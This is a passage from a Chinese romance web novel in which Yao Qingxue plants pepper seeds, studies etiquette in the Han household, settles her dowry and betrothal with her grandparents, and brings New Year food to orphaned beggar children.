“能,而且我敢保证你绝对喜欢。”姚轻雪肯定道,她转向韩漳:“这个种子你朋友带回来多少?” “不多,总共也就一斤左右,给了我二两。” 一斤不少了,姚轻雪道:“我能花银子跟你朋友把这一斤全都买下来吗?” “这、”韩漳去看他大哥。韩泽点了点头,他才道:“应该可以,他本来就是顺手带回来的,改日我去问问。” 韩泽:“别改日了,现在就去吧。” 韩漳:“……”大哥你不让回家喝口水吗? “对,现在就去。”姚轻雪也着急,“若是你朋友送出去就不好往回要了。他除了这个还有带回别的种子吗?” 韩漳想了想,“没有了,听他说这花种是上船前一个孩子硬卖给他的,若不是看那孩子可怜,他也不会买。”翻山跨海不带值钱玩意回来,带花种有什么用。 虽然遗憾没有别的种子传进来,但辣椒已经让姚轻雪欣喜若狂,她把身上的钱袋解下来,但里面只有五六两碎银。这点钱买人家的辣椒种子,显然不对等,于是她扒拉韩泽的腰,但韩大人在自己家怎么可能带钱袋。 韩泽按下她的手,对自家弟弟道:“银子你先垫上,回来给你,快去吧。” 在大哥的催促下,韩漳连院都没进,转身上了马车又去找朋友了。 姚轻雪抱着辣椒种子不撒手,韩泽只见过她对银子这般亲,他指了指布袋:“这个东西真比茱萸好?”若是比茱萸好百倍千倍,那该是怎样的味道? 姚轻雪但笑不语,没有吃进嘴里,说的再好也感受不到辣椒的魅力。她准备搬几个花盆到屋里,先种上几颗。 韩泽叫人用废弃的马槽装了花园最肥的土壤,槽子就放在姚轻雪住的那间房的窗下,这个位置每天都能晒几个时辰的太阳。 等韩漳回来,姚轻雪已经把辣椒种子浸泡上了,就等晚上种进土里。韩漳把一个稍大的布口袋递给姚轻雪,“幸亏去的及时,我那朋友刚把花种分好,还未来得及送出去,都在这里了。” 姚轻雪接过东西,打开来看了看,她笑得见牙不见眼眼。这些种子一定得保管好,来年春天能种小半亩呢。“三弟呀,这次真是太感谢你了,日后等我赚了银子,定然不会亏待你。” 韩漳一愣,而后很上道地说道:“那便多谢大嫂了!” “好说。”姚轻雪丝毫不介意韩漳提前叫她大嫂。 韩泽:“……”跟他有关系,似乎又没他什么事。 韩母听说姚轻雪在房里种花,觉得她这是太闲了。妹妹的话虽不大中听,但也有道理。虽然韩家不在乎外人眼光,但也不好让人看儿子笑话,说他娶了个无知蠢妇。 身为韩家的女主人日后免不了与朝中官员的女眷打交道,甚至还会偶尔进宫与宫中贵人接触。所以该懂的规矩得懂,该学的礼仪也得学。 听韩母说让她与韩娇、韩莺一起上课,姚轻雪愣了一下,她原本想等妹妹好了,让她来韩家蹭课,没想到先轮到自己。 韩母以为她不愿意,耐着性子道:“我听润青说你认识些字,身为韩家未来的女主人只认字是远远不够的,你的一举一动代表韩家和韩泽的脸面。不求你多有才华,现在够应酬就行,不足之处以后慢慢学也是可以的。” 姚轻雪躬身行礼:“全听伯母安排。”入乡随俗,有些东西她可以不遵守,但得懂。再者现在跟以前不同,为了韩泽她也得让自己“端庄”起来。 从韩母的房间出来,看见韩泽在门外等她,姚轻雪笑着快步走过去,两人并肩往住处去。韩泽问出母亲找她去的原因,便道:“不想学,我可以跟母亲说。” “想学,你知道我一直想读书习字,现在这么好的机会,我自然要学。” “你喜欢就好。”韩泽牵过她的手,“《女训》《女诫》了解一下就行,不必太过认真。”千万别学成呆子失了灵性。 “你不认同《女诫》?”姚轻雪问。 韩泽淡淡道 :“女人不该是男人的提线木偶。” 她选的男人果然没错,姚轻雪嘴角上扬,侧头戏谑道:“你还不知道我?” 韩泽释然一笑,姚轻雪是谁?面上乖巧,实则肚子里全是反骨,主意大着呢。 次日,当姚轻雪便与韩家姐妹一同上课。韩莺和韩娇上午学诗词歌赋、琴棋书画,下午学规矩礼仪。因为姚轻雪入学较晚、底子又差,韩母另外给她加了半个时辰。 白天学完,晚上还要完成先生的功课,所以姚轻雪除了照顾妹妹就没时间理韩泽了。韩大人只好找过来,姚轻雪写字,他就在一边陪着。这几日经过先生指点,姚轻雪的字进步很大,韩泽都不得不承认她很聪明。 写了一会儿,姚轻雪便觉得手腕酸痛,她放下笔甩了甩手。韩泽心疼地抓过去揉,“练字不能急于求成,你起步晚即便不眠不休短时间也写不出太好的字。” “我知道,但就这段日子闲,以后想练可能就没时间了,我也不和谁比,韩娇不笑话我就成。”姚轻雪有自知之明,三五个月再怎么努力也不可能把字练太好,她对自己要求不高,够用就行。 “那便每日练习两刻钟。”韩泽一本正经道,“剩下的时间陪我。”除了照顾妹妹就是学习。他把人弄进家来,可不是为了让她不理自己。 姚轻雪手被对面的男人拽着,于是她顺势趴在桌上闷笑,韩泽见她肩膀一抖一抖的,也把脑袋放到桌上与她脸对脸。“笑什么?我有说错吗?我也是伤患,怎么不见你多关心一点。” “芽芽才七岁,请问韩大人你今年几岁?”姚轻雪抬手按他鼻子。 “三岁!”去了整剩下三,约等于三岁。韩大人为了争宠脸都不要了,姚轻雪乐不可支。韩泽食指在砚台沾了下,然后快速点到姚轻雪鼻尖上。 一股淡淡的松香冲进鼻子,姚轻雪:“……”她刚要反击,就听门吱呀一声开了,她以为是春佟或是秋月,便没有转头,而是把手抽回、直起上身。 韩夫人看见儿子和姚轻雪头对头趴在桌上一言难尽,这俩人在一起哪还有心思学习。“你在这做什么?” 姚轻雪惊讶回头,韩夫人看见她鼻头上的墨汁更是无语。韩母严肃道:“润青,不准打扰轻雪学习,回房养你的伤去。” “不回。”韩泽果断拒绝。 已经下榻的姚轻雪往后伸手扯了扯韩泽的袖子。 韩泽在家养伤无事可做,就想整日扒着姚轻雪不放,唯一的乐趣还被母亲给剥夺。韩大人很不满。“雪儿琴棋书画样样不通,你让她学岂不是在为难人?” 姚轻雪:“……”知道你在帮我,但贬损大可不必。 韩母白了一眼儿子,对姚轻雪道:“我来不是为了监督你,学习之事你自己心里有数就好。” “多谢伯母体谅!”姚轻雪躬身行礼。 韩母满意地点点头,先不说学不学得好,起码态度是对的。“我过来是想问问你绣工如何?”按规矩喜服得新娘子自己绣,不用全部也得绣一点意思下。” “绣工、”姚轻雪摸摸鼻子。 见她这般,不用问了,韩夫人挥挥手转身走了,连话都懒得说。 姚轻雪回头:“我样样不通,你娘嫌弃我了。” “你和我过日子,又不是和我娘。”韩泽拉她坐到榻上,“母亲正当年,她起码还有三十年寿数,二十年后咱们挑个能干的儿媳,把母亲这摊子交给她,你这辈子都不用操劳。” 刚走出去没多远的韩母突然打了个喷嚏,她赶紧拢了拢披风把自己裹紧。 姚轻雪:“……”可真是你娘的好儿子。 第68章 第68章孩子气 韩泽并非只是嘴上说说,他是真的想让韩母再管家二十年。当然他可不敢把心里话说出来,不然母亲怕是要将他逐出家门了。 韩少卿与韩母据理力争,终于给姚轻雪争取了每日与韩娇韩莺同等的上课时间,并且不必一定要完成先生的作业。 也就是姚轻雪想完成便完成,不想做便不做。韩大人对先生说:“她就是个旁听者,学得会便学会,学不好便学不好,不必对她多费心思。” 授课的先生十分不赞同,但也没多说什么。姚轻雪只管听课不用有任何负担,可把韩莺和韩娇羡慕坏了。 尤其韩莺跑去找母亲也要同等权利。韩母冷笑:“她有你哥护着,你要是能找到事事为你出头的夫君,即便面对非议也会对你百般呵护,我便答应。” “都还没找,母亲怎么知道我找不到?”韩莺不服。 “哼,我养的儿子有几个比得上。”韩母对自己的儿子非常自信。“你表姐议亲你不是都瞧见了?男人娶妻不止看家世背景,还要看是否知书达理、端庄贤淑。你即便装也得在人前把样子给我装足了,宠着你到这么大,已经是家人对你的纵容,你该知足了。” 见女儿还是不服,韩母叹道:“你哥与姚轻雪这样的世上没多少,你不能光指望遇到事事顺你意的丈夫,得自己有能力把日子过好。以前是我想差了。姚轻雪虽出身低微,但她能让姚家的日子越过越好这就是本事,她把芽芽当亲妹妹养我佩服她,这样的女子即便没有你大哥,她的日子也不会差。” 韩莺点了点头,“她是有点本事。” 见女儿终于听进去了,韩母松口气。她既心疼女儿,又不得不约束她。女子嫁人后往往身不由己,韩莺即便有韩家护着,若是自身不行日子也过得苦。 打发了韩莺,韩母揉揉额头,儿女都是债啊。儿女霜打了一样的面容,让韩夫人心里不舒坦,便把姚轻雪叫过来看账本。她虽拗不过儿子,但底线必须遵守,身为韩家儿媳得懂看账本。 韩母以为姚轻雪对看账一窍不通,哪知账本交到她手上,她从头看到尾,在纸上写写画画便给出了准确数字。 “你怎么做到的?”韩母十分惊讶,这本账虽然简单,但她也得用算盘才算得出来。 “心算。”姚轻雪笑笑。 不认识的字符韩泽都看在眼里,但并未追究。“母亲,雪儿很聪明,区区账本难不倒她,无需特意学。” 韩母不赞同,“我这是故意挑了本简单、数目小的试她。每年年底拢账时庄子铺子的账本堆成小山,光靠心算是不够的。” 姚轻雪点头,“您说的对,我该学用算盘。” 她虚心的模样,韩夫人很满意,便让韩莺教姚轻雪用算盘。韩母本意是想让女儿看见姚轻雪的努力。 然而韩莺却笑她不会用算盘。姚轻雪不用她教,找韩娇去,韩莺不同意,追着姚轻雪非要当她老师。韩夫人知道了也不管,随她们折腾。 打算盘不是难事,每日拿出两刻钟练习即可,所以姚轻雪空余时间还是有的。每当芽芽睡着后,韩大人便过来拽上她,俩人或是逛花园,或是去溜踏雪,每天都过得很充实。 现下已是十一月底,外面滴水成冰,今年倒是没有下雪。从马场回来看着树梢的霜花姚轻雪突发奇想做冰灯。她把想法告诉韩泽,闲得发慌的韩大人立马赞同。于是两人找来六只木桶和红黄蓝等颜料。 白日将不同颜色的水放在外面冻,等到天黑把木桶搬进屋内暖一下,让木桶内侧的冰化一化,这样才好把冰整个倒出来。因为冻的时间并不长,所以桶状的冰坨子中间还没有冻实,把中间凿开,里面的水倒出来后便成了空心的冰灯。里面放上蜡烛,五颜六色的冰灯就做好了。 芽芽趴在 窗边看见冰灯高兴坏了,她想让娇娇也看冰灯。春佟知道她和二小姐好,便过去请韩娇。 一墙之隔的韩莺听见这边时不时传来笑声,到隔壁一瞧,也是喜欢的不得了。然后六个冰灯韩莺要去一个,韩娇搬走一个。本来她们想要俩,韩泽不同意。 剩下四个,一个送去祖母的院子,一个送去正院。韩母看了会红红的冰灯笼,回屋跟韩振道:“两个都老大不小了,怎么这么孩子气。”别人这么大都当爹当娘了,这俩还跟孩子似的做冰玩儿。 韩将军靠在床头看书,不怎么走心地说道:“你若想玩也做呗,外人又看不见。” “我是这个意思?”韩夫人白了他一眼,解了披风上床钻进被子里,她对着丈夫躺下。“眼看来到年了,年前婚事办不成了。” “年前不成就年后,这些年都等了也不差几个月。”韩振放下书,“该准备的现在就开始准备,年前把婚事定了,年后挑个合适的日子成亲即可。” 韩夫人含糊“嗯”了声便睡着了。 隔天,韩母派人给韩泽和姚轻雪量身,她开始准备儿子成亲事宜,时不时过来问姚轻雪的意见。姚轻雪心想她和韩泽也是没谁了,亲都没定,婚礼开始准备上了。满京城应该找不出第二家,这么看韩家行事作风也是不拘一格。 韩家就等芽芽好起来,然后三媒六聘定日子。韩母每日都往姐俩的小院送好东西,药材补品跟不要钱似的。姚轻雪沾妹妹的光,每日都能喝上一碗燕窝。来了半个多月她气色都了很多。 芽芽恢复的很好,可以出门走了。每日除了吃就是睡,小姑娘脸比来时圆了一圈。总不活动也不好,所以每日阳光最足时,姚轻雪都给妹妹穿得跟球似的,然后领她到院中散步。 韩娇领着芽芽绕着墙慢慢走着,小白在两人身后不远不近地跟着,像个守护者。自从芽芽受伤,小白就不怎么不出门,尤其来了韩家后它整日与芽芽在床上待着。芸姨娘喜欢小白喜欢得紧,还遗憾小白是公猫,不能养它生的崽儿。 韩母感慨:“也就是孩子,若是大人受这么重的伤且得在床上躺几个月。” 姚轻雪不置可否,小孩子的恢复力的确要比大人强。“伯母来有何事?”韩母每次来都有事和她说,今日必定也不是过来闲聊。 “我瞧着你妹妹好了很多,我寻思把你们的婚事先定下来,年后芽芽彻底好了再办婚事,你觉得如何?” “我得回去和爷爷奶奶商量。”姚轻雪道。 “是该商量。”韩夫人点头,“我找人算了,下月初八是好日子,你回去问问二老的意见。我这边都准备好了,若是没意见,十二月初八韩家派媒人去姚家。” “我明日回去。” “好。”韩夫人道,她就喜欢姚轻雪的痛快劲儿,从来不扭捏,“明早你回家问问,然后早点回来,芽芽有春佟和秋月照顾你放心。” 芽芽听见韩夫人让姐姐回家不带她,小姑娘走过来。“姐,我跟你回去。” “我们一起回家。”姚轻雪摸了摸妹妹的头,没出汗。她转头对韩夫人道:“进了腊月也快来到年了,我和芽芽在这里打扰这么久也该回去了。” “一家人说什么两家话,韩家所有人都没把你和芽芽当外人。”韩夫人嗔怪道,“我和你伯父的意思是把你爷爷奶奶接过来,我们一起过年。” 姚轻雪来的这段日子,家里变热闹了,儿子每日脸上带着笑,就连韩莺和韩娇都快乐许多。韩夫人不大希望她回家,不过是多两双筷子。但姚家还有老两口,总不能扣着人家孙女在韩家,让两位老人孤零零地过年。 “不了。”姚轻雪摇头,“今年怕是我在家过的最后一个年,我得回家过。” 韩夫人想想觉得也是,便也不强求,反正以后人都在韩家,也不差这一年。“行,晚上润青回来你跟他说。”今早大理寺来人把韩泽叫过去,也不知是什么事。 晚上韩泽回来得知姚轻雪要回家并未阻拦,明日他也要上直了。韩大人原本想借受伤在家赖到年后,现在是不行了。大理寺监视百花巷张茂才的宅子两个多月,发现了不少事情。这件事由他牵头,陆大人让他收尾。年前年后这段日子有得忙了。 次日,姐俩准备离开将军府。走之前姚轻雪带妹妹去看望韩老夫人。老夫人深居简出,平日不与大家一起用膳,也不让儿孙请安问候。自从来那日见过韩老夫人,之后姚轻雪就再也没见过她。 韩老夫人放下佛珠,把一只碧玉镯子戴到姚轻雪腕上。 “使不得,太贵重了。”镯子翠绿莹润,定是价值不菲,姚轻雪都怕自己不小心弄坏了。 老夫人拍拍姚轻雪的手背,“再贵也是个装饰,身外之物不必太过在意,下个月你和润青定亲,就当是祖母送你的礼物。” 姚轻雪看向韩泽,后者点了点头。姚轻雪躬身行礼:“多谢祖母!” 第69章 第69章回家 韩老夫人又给芽芽一串桃木手串。小孩子戴辟邪的物件在身上寓意平安顺遂。姚轻雪领妹妹给韩老夫人行礼道谢。 等他们从老夫人的院里出来,曹叔已经赶车等在外面了。来时两人一个包袱,回去装了半车东西。大多是药材和补品,有芽芽的,也有给姚家二老的。 原本姚轻雪想把马槽子带上,辣椒苗已长到巴掌高,但怕幼苗在途中冻坏只好作罢,辣椒籽粒粒值千金,不能有任何闪失。 春佟和秋月再三保证,她们定会照顾好这些小苗。俩丫鬟做事稳妥,姚轻雪便放心把辣椒苗交给她们。 韩泽上直顺便送她们回葫芦巷,姚轻雪刚下马车,踏雪就走过来叼她披风的帽子。这段日子她俩混得很熟,姚轻雪在韩泽的看顾下骑了踏雪几次,但每次都被她咬头发,也不知这马什么嗜好。 “别闹。”韩泽拍了拍踏雪的嘴巴,把姚轻雪的帽头从马嘴里解救出来。大理寺离将军府较远,每日上下直要费些时间,骑马比坐车快。虽然坐车里暖和,但韩泽不想把时间浪费在路上,就把踏雪带过来。等会儿曹叔赶车回府,晚上他骑踏雪回家。眼看要过年了,就不回太平巷住了。 芽芽看见高头大马很眼馋,踏雪似乎看懂了小姑娘眼里的渴望,它伸过头轻轻蹭了蹭芽芽的肩膀,逗得芽芽咯咯笑。 姚轻雪指着大黑马跟韩泽告状:“你瞧它分明是看人下菜碟,我就这么不招它待见?” 踏雪像是听懂了她的话,又要过来咬她,被韩泽用身体挡住。韩大人无奈地隔在一人一马中间。“外面冷,快进去吧,东西曹叔会拿进去。” “好!”分开前姚轻雪不放心叮嘱他两句:“你伤还没完全好,做事悠着点,千万别再受伤了。知道你身上有多少个疤吗?再添新伤我可就不嫁你了。” 韩泽眼中笑意更浓,看着她进院才骑上踏雪离开。 姚福和刘氏见两个孙女回来高兴的不得了,刘氏搂着芽芽笑着笑着眼泪就掉下来了。 “奶奶,我好了,不哭。”芽芽给她擦眼泪。 看见芽芽能站能走,姚福也高兴:“你俩的屋子昨日就烧火了,屋里暖和着呢,芽芽累了吧,去屋里歇着。” 昨日韩家派人说今日姐俩回来,姚福就把那屋烧得热热乎乎。其实她们不在家这段日子一直就没断过火,只不过不住人烧得少一些而已。 把芽芽送回房间休息,姚轻雪跟姚福和刘氏说了韩家的意思。老两口早有准备,自从让两个孙女去韩家,他们就知道大孙女离开家的日子不远了。 刘氏问:“韩家打算何时成亲?”孙女没着落时着急上火,恨不得明日就让她出嫁,现在眼看着要嫁人,反倒舍不得了。 “年后,韩夫人想定在二月,韩家的表姑娘三月出嫁。” 姚福点头:“我们没意见,这几天我和你奶给你置办了些东西。”说着他从抽屉里拿出一张纸,“每办一样 我就请人家写在上面。“他不会写字,只能请旁人代劳。 姚轻雪接过单子看,有樟木箱、龙凤被、子孙尺、碗筷等,民间嫁女这些就行了。“够了,暂时就这样吧。” “这哪够。”刘氏不赞同,“你要嫁的是韩家,那可是将军府啊,这些肯定不够,但旁的我和你爷爷也不知道该怎么置办,我们也没见过大户人家都有啥嫁妆,房产田地咱也办不起,但面子上的东西总得过得去,莫要叫人看笑话。” “奶,韩家又不是不知道咱家情况,他们若是嫌弃我就不会选我做儿媳了。”姚轻雪想的明白,她家把房子卖了也不可能置办出与将军府匹配的嫁妆,不如有多大能耐做多大事。 “话不是这么说的,韩家不在意,外人会说闲话。别担心银子,都给你攒着呢。”刘氏弯腰把床底的痰盂挪出来,又把一些乱七八糟的破旧玩意掏出来。 这些原本该扔的东西都叫刘氏堆到床下,用她的话说贼进来看见这些破烂玩意儿都不想翻。这正是刘氏藏钱的智慧。 折腾了会儿她从最里面搬出个破木箱子,木箱里装着崭新的匣子,正是皇帝的赏赐。刘氏从脖子上拿下钥匙打开锁,匣子里有九个金元宝、两个银元宝、一些散碎银子和几张银票。 “咱家攒下的和皇上赏的都在这了,一千三百多两,要买什么你拿主意,剩下的你也带走,这些都是给你的嫁妆。”刘氏把匣子往姚轻雪面前推。 “奶奶,我嫁人你们不过了?”姚轻雪无奈,拿了几块碎银后把匣子合上,又推了回去。“这些都别动,您继续藏着。” “咋就不动了?”刘氏抬手拍在孙女推箱子的手上,“都是给你的,你嫁一回得风风光光的。刚好你也回来了,我和你爷爷也歇够了,明日就去备料,后日便把摊子支起来,年前能赚一笔,等年后你成亲时又能攒下不少。” 手上有赚钱的买卖却在家里闲着,老两口每日心都跟长草似的,俩人总合计出摊的事。 “爷奶,咱家与韩家悬殊太大,这些银子即便都用来做嫁妆也不及一套头面。”所以韩母要给她准备婚服和金银首饰,姚轻雪并未反对。 “那咋办?咱家、咱家就这能耐了。”刘氏满脸忐忑。 姚福眉头紧锁:“要不把房子、” “爷爷奶奶。”姚轻雪打断他,“我的意思是即便我们倾尽家产置办的嫁妆,在那些大户人眼里一样拿不出手。反正都要被人指指点点,我们不如坦然面对。置办符合我们身份的嫁妆即可。” “这些银子。”姚轻雪拍了拍匣子,“年后我打算盘店开食肆,所以这银子不能动。” “开食肆?”姚福有些激动,他在街边卖了大半辈子包子,做梦都想有一家自己的小食店。 刘氏高兴之余不免担忧:“可你这样嫁过去是不是太寒酸了,我总怕韩家欺负你。” “奶奶放心。”姚轻雪拉过刘氏的手,“韩夫人、韩将军还有韩老夫人对我都很好,不会欺负我。”她露出手腕上的镯子,“这是韩老夫人送我的礼物,韩家不会在意我有多少嫁妆。” 刘氏小心摸着孙女手腕上的镯子,她见过不少人戴玉手镯,但没见过这么好的。“这得多少银子?” “不下万两。”铺子里比这只差的都要一万两,韩老夫人送她的这只绝对不止一万两,所以姚轻雪当时才会推辞。 “这么贵?”刘氏惊呼。 姚福也被惊到了,一只镯子竟然要这么多银子,他低头靠近了仔细瞧,除了颜色好看实在瞧不出来这玩意贵在哪儿。他坐回凳子,“孙女说的对,咱家跟韩家比不了,既然比不了就不要打肿脸充胖子,嫁妆就按正常来,银子花在刀刃上,留着明年开食肆。” 姚轻雪又劝他俩安心过年,出摊的事年后再说。老两口释怀,对赚银子也不急于一时了。 嫁妆一事总算统一意见、告一段落,刘氏这才开始问她们在韩家的情况,姚轻雪讲给他们听。 姚福脸上露出笑意,“芽芽受伤多亏了韩家。”又请御医又给买药送补品,这么看韩家确实看重大孙女。 “对了,你还不知道吧。”刘氏道,“杨婆子卖了宅子,跟她儿子走了。”杨婆子担心儿子流放路上吃苦,牙一咬卖了房子,跟杨兴旺一起走了。 走了也好,免得日后看见让人心烦。自作孽不可活,杨家有今日全是自己作的。 刘氏道:“衙门送来一百两赔偿银子,我和你爷爷商量银子给韩家。你们姐俩在那吃住这么久,芽芽的药钱都是人家出的,咱们不能一点银子不拿,那样太不像话了,让韩家怎么想咱们。” “不用了奶奶,这个情我日后会还,这个时候即便给他们也不会要。”姚轻雪说过要拿药钱,韩母让她别管。皇上给韩泽赏了不少珍贵药材,他和芽芽的药韩家根本没花多少银子。 …… 韩泽下直来了葫芦巷,早上走时母亲交代他晚上来姚家一趟。姚轻雪知道他会过来,特地给他留了饭。 韩泽一口米饭、一口淋上油炸茱萸的酸菜排骨,吃得头上都是汗。姚家入冬就腌了酸菜,姚轻雪想吃这一口很久了,今日回来便迫不及待做了酸菜排骨。 酸菜是寻常百姓的主要过冬菜,有钱人家大概不怎么吃的,姚轻雪担心韩泽不喜欢,另外给他做了烧排骨和炒腊肉,结果韩大人吃酸菜很开心。 韩泽满足地喟叹一声:“我从未吃过这个,过瘾。”韩家郊外的庄子有暖房,冬日也能吃上青菜,是以从来没在餐桌上见过酸菜,今日倒是吃了个新鲜。 “午膳没吃好吧。”姚轻雪见他足足吃了两大碗米饭,就知道他中午一定没吃饱。 “饭堂吃腻了。”韩泽放下碗筷。 “不然以后中午来我家?”她了解韩泽的口味,随便做一点就能让他吃饱。 韩泽想了想,“看情况吧,不忙我便过来。母亲让我今晚务必带信给她。” 姚轻雪:“就按伯母的意思,初八吧。” “好!”韩泽起身,捏了捏姚轻雪的脸颊,“初八在家等着我。” “咦?”姚轻雪疑惑,“初八不是媒人上门吗?你也过来?” 韩泽拿起斗篷披上,“媒人上门但也没规定我不可以来,那日大理寺若是无事,我便亲自过来。” 第70章 第70章过年 腊月初八,韩泽果然来了,但因为忙,只待不到一刻钟便匆匆走了。即便如此也是把巷子里的居民羡慕得不行,大冷天都要来姚家门口瞧瞧热闹。 韩家是什么门第?韩泽是什么人?对姚轻雪如此看重,哪个能不羡慕?成了亲的妇人再看自家男人是满眼嫌弃,没成亲的开始幻想自己也有这样一份姻缘。 定亲到迎亲之间的流程十分繁琐,刘氏身体不好,姚轻雪怕她累着,所以大多事都是她亲自操持。忙里忙外几乎没闲的时候,直到腊月二十八她才算喘口气。 脸上养出来的那点肉,又肉眼可见地没了。韩泽既心疼又无奈,姚轻雪忙他也忙。连午膳想来姚家吃一口都不行。值得高兴的是芽芽可以正常走动了,甚至跑跳都没有问题。 二十九这日姚轻雪起了个大早,蒸了两锅馒头。刘氏找来以前卖包子时用的屉布把馒头包成几包,姚福把昨日做好的卤肉装进木桶。 做好这些已经快到辰时,姚轻雪穿上外衣去街上找车。刚走到巷口就看见韩家的马车。曹叔赶车走近:“姚姑娘,这是要去哪儿?” 还不等她回答,韩泽挑开帘子问:“要出门?” “姚姐姐!”韩娇也伸出脑袋跟姚轻雪招手。 “打算租辆车去桃儿街。”姚轻雪道,“你们怎么来了?” 韩娇:“我来看芽芽妹妹,她伤好了没有?” “好了。”姚轻雪拽着男人的手上了马车,上车后她坐到韩泽身边。“她这几日也念叨你来着,看来你俩心有灵犀啊。” 韩娇笑嘻嘻:“大哥来看姚姐姐,我就跟过来了,我想芽芽妹妹了。” 与韩娇说了两句,姚轻雪转头问韩泽:“今日不忙吗?” “过年了再忙也得歇两日。”韩泽在身侧摊开手,姚轻雪偷偷看一眼韩娇,见她没往这边看,便把手放在男人掌心,指尖穿过他的手指,然后十指相握。 韩泽:“去桃儿街看乞儿们?” “嗯。”姚 轻雪点头,“做了点吃食给他们送过去,我能做的也就这么多。” “我陪你去。” 说话间马车到了姚家门口,姚福听见动静还寻思这么快就租到车了。年前年后走亲访友的人多,这个时候人们最舍得花银子,租车的人比平时要多,所以不太好租。 姚福把木桶提出来,再和刘氏把装馒头的背篓抬到门口。大门打开,一瞧竟然是韩泽。 “来了!”姚福满脸带笑,“快屋里坐。”他到现在都不知该如何称呼这位准孙婿。叫韩大人太见外,叫名字他根本叫不出口,所以每次都这么略尴尬地打招呼。 “爷爷奶奶!”韩泽倒是叫的很顺溜。 “哎!润青来了。”刘氏比姚福强得多。韩泽在外面再怎么能耐,都是孙女的未婚夫,战战兢兢反而生分。 曹叔从车上往下拿东西,大多是青菜,韩家庄子上种的。这个时候青菜可是不便宜,有银子都买不到。韩家送来两筐,够她们四人吃十来天了。另外还有一大块牛肉。 怕青菜冻了,姚福和刘氏赶忙把筐搬进屋里。曹叔再把一桶卤肉和两个背篓的馒头提上马车。 姚轻雪把韩娇送到芽芽那里,便和韩泽一起去桃儿街。 过年了,桃儿园的大门也重新刷了一层油,走近还能闻到油漆味儿。姚轻雪抬手敲门。然后听见屋门响动,有人往院门走来。 鲁老头打开门看见姚轻雪先是一愣,而后笑容满面:“我就说今日喜鹊怎么总在房顶叽叽喳喳,原来是有贵客登门。大过年的,可没人愿意来这穷窝。姚家丫头,你来作甚?” “鲁爷爷,我送点吃食过来。”姚轻雪往院里看了两眼,空荡荡的一个人都没有。“孩子们呢?” “都出去讨饭了,就剩最小的喜宝在屋里呢。”鲁老头闪开身、让出道,好让曹叔和韩泽把东西搬进院。 “过年了,人们舍得散财,多讨点就能过个好年。”鲁老头指了指院中的几袋米,“丫头,你家也不富吧,怎地搬来这么多东西?” “爷爷,馒头和卤肉是我的,米是这位送的。”路上韩泽说他空手去不好,问姚轻雪买什么东西合适。 桃儿园什么都缺,粮食是重中之重,所以姚轻雪就让韩泽买点米带过来。韩大人出手大方,直接要了五袋米,若不是马车装不下他还要再买。 鲁老头打量韩泽,从衣着和气度便可断定此人非富即贵,他两手抱拳躬身道:“老朽眼拙,不知这位公子尊姓大名?”收了东西,起码得知道是谁送的。 韩泽微微颔首,“韩,单字名泽。” “原来是韩少卿!”鲁老头赶紧跪下,他虽很久不出去乞讨,但京城衙门口响当当的人物都还是知道的。 “老人家不必如此。”韩泽扶起他,“今日韩某陪未婚妻来此看望孩子们,这里没有大理寺少卿。” 未婚妻?鲁老头眼中露出惊讶,忽然笑了,对姚轻雪道:“善行积德福无边,姚家丫头有福气。” “借您吉言。”姚轻雪笑道。 曹叔和韩泽把米搬进屋内,为了保暖屋子窗户都用木板钉死了,屋里黑漆漆的。乞儿中最小的喜宝看见来人赶忙从炕上下来。 来到门口的亮处,瞧见是姚轻雪,小孩儿眼睛一亮。他还记得这个漂亮姐姐每次来,他们都有好吃的。 喜宝嗦着手指盯着装卤肉的木桶,韩泽看着有意思,捏捏小孩儿肉嘟嘟的脸蛋。喜宝抬头看他一眼,继续盯着肉流口水。 姚轻雪摸摸小娃的脑袋,“等会儿让爷爷用馒头夹上卤肉给你当午饭。” 鲁老头笑道:“他可不亏嘴,大的讨回来点好吃的都紧着他。” 这话姚轻雪信,看喜宝肉嘟嘟的脸就知道,这孩子被鲁老头和哥哥们养的很好。他们正说着话,就听门外有人问:“鲁爷爷您在吗?” “吆,曲童生也来了。”鲁老头出去。 三人跟着走到外面,就见曲长平背着一个背篓站在大门口。当他看见姚轻雪时眼睛一亮,再往旁边一瞥瞧见韩泽,他嘴角瞬间耷拉下来。 韩泽:“……” “长平!”姚轻雪笑着走过去,“你也来送吃食?”曲长平说过会常过来送东西,他真做到了。 “嗯。”曲长平露出大大的笑脸,“明日除夕,我爹娘烤了些饼子叫我送过来。” “托诸位的福,今年孩子们能过个好年。”鲁老头后退两步对着姚轻雪、曲长平和韩泽躬身一礼,“老头子我谢谢大家,好人有好报,祝各位岁岁平安,祝姚姑娘与韩少卿百年好合。” 老乞丐有自己的风骨,轻易不向旁人低头,但他是真心实意感谢这几个人。过年所有人都忙,忙着让自家过上好年。只有他们还想着这一窝没爹没娘没饭吃的孩子。 三人没有多待,姚轻雪邀曲长平乘车同行。鲁老头抱着喜宝站在大门外,直到看不见马车的影子,他才对喜宝道:“喜宝你要记住他们,对我们有恩的人我们都要记在心里。” “嗯。”喜宝似懂非懂地点了下头,转头看向屋子。 鲁老头好笑,点了点他的小肚子,“这就给你弄去,馋猫。” 马车刚离开桃儿园,曲长平就要下车。 韩泽拦下他:“听雪儿说她欠你顿饭,择日不如撞日今日我做东,请曲童生去万福楼,如何?” 什么叫欠一顿饭,会不会说话?姚轻雪抬脚轻轻踢了韩泽一下,而后对曲长平笑道:“今日有空吗?一直想请你吃饭都没空。” “本来有空,但韩大人要去万福楼,在下是万万不敢的。”曲长平板着脸,“曲某家境贫寒,腹中装不了万福楼的饭菜,见谅。”他对姚轻雪和韩泽拱手,“告辞!”然后喊曹叔停车,曲长平下车后大步离去,看那背影颇有壮士一去不复返的气概。 韩泽嗤笑:“小子胆子不小。” “你唬他做什么?”姚轻雪瞪他。 马车回到葫芦巷,姚轻雪下车时感觉脸上一凉,抬头就见零星的雪花往下飘。她抬手接住几片碎雪,“下雪了。” 韩泽下车,“今年的第一场雪赶在了过年。”年后人们走亲访友怕是要受限了。 “瑞雪兆丰年,好兆头。”姚轻雪拍掉手上的雪水。 这场雪断断续续下到除夕夜里,饶是不怎么大,下了这么久地上也是铺了厚厚一层。除夕夜天刚黑下来,家家户户屋檐下、大门外都挂起了灯笼。在雪的映射下,天空仿佛都被照红了。 姚福把雪扫到墙边,姚轻雪和芽芽玩心大起,姐俩穿上厚衣到外面堆雪人。巷子里时不时传来孩子们的笑闹声。看来不止她们在外面玩雪。 雪人堆起来,刘氏就把姐俩叫回去。祖孙四人在刘氏和姚福的屋里,吃着糕点零食守岁。 